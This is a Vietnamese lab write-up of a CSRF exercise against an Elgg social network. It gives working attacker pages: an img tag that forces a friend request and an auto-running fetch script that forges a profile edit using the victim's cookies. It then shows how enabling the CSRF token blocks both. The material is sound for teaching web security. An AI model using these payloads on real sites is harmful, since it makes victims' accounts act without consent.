Task 2
Request kết bạn có endpoint như sau:
http://www.csrflabelgg.com/action/friends/add?friend=43
Với 43
là ID của user cần kết bạn. Cụ thể hơn, 43
là ID của Boby.
SSH vào máy ảo và di chuyển đến thư mục /var/www/CSRF/Attacker
(là thư mục chứa các file được host ở trên trang http://www.csrflabattacker.com
).
Tạo file task2.html
có nội dung như sau:
<html>
<body>
<img src="http://www.csrflabelgg.com/action/friends/add?friend=43">
</body>
</html>
Chúng ta lợi dụng thuộc tính src
của thẻ <img>
để gửi GET request đến trang www.csrflabelgg.com
kèm theo cookie được lưu ở trong trình duyệt.
Restart Apache server để apply sự thay đổi:
sudo systemctl restart apache2
Khi nào người dùng truy cập vào http://www.csrflabattacker.com/task2.html
, người dùng đó sẽ tự động được kết bạn với Boby. Cụ thể, request được gửi đi có dạng như sau:
Có thể thấy, cookie ở trang www.csrflabelgg.com
đã được đính kèm ở trong request.
Kết quả: Alice đã trở thành bạn của Boby.
Task 3
Trước tiên, ta cần tìm GUID của Alice. Thực hiện điều này bằng cách vào xem danh sách các thành viên của mạng xã hội ở mục “Members” và chọn Alice. Xem liên kết của nút Add Friend thì ta sẽ thấy GUID của Alice là 42:
Tạo ra một trang HTML chứa script dùng để gửi request sửa profile như sau:
<html>
<body>
<script>
function forge_request() {
const guid = "guid=42";
const description = "&description=Boby is my hero";
const sendurl = "http://www.csrflabelgg.com/action/profile/edit?"+guid+description
fetch(sendurl, {
method: "POST",
credentials: 'include',
headers: {
'Host': 'www.csrflabelgg.com',
'Cookie': document.cookie,
'Content-Type': 'application/x-www-form-urlencoded'
}
})
}
window.onload = forge_request;
</script>
</body>
</html>
Lưu nội dung trên vào file task3.html
ở thư mục /var/www/CSRF/Attacker
.
Khi Alice truy cập vào trang www.csrflabattacker.com
thì sẽ có một POST request được gửi đi như sau:
Vào profile của Alice thì ta sẽ thấy description đã bị thay đổi thành “Boby is my hero”:
Bởi vì không có cách nào lấy GUID của người dùng đang truy cập nên Boby chỉ có thể tấn công những người dùng mà Boby biết GUID.
Task 4
Comment dòng return true;
đầu tiên ở trong hàm gatekeeper($action)
của file /var/www/CSRF/Elgg/vendor/elgg/elgg/engine/classes/Elgg/ActionsService.php
để validate CSRF token:
Token này được hình thành từ các thành phần sau:
- Timestamp
- Secret từ database
- Session ID
- Một chuỗi random
Kẻ tấn công do không thể đăng nhập vào tài khoản của nạn nhân nên không thể lấy được token. Nếu request được gửi đi từ một trang khác và không có token, request đó sẽ không được xử lý. Cụ thể, sẽ có một thông báo lỗi như sau: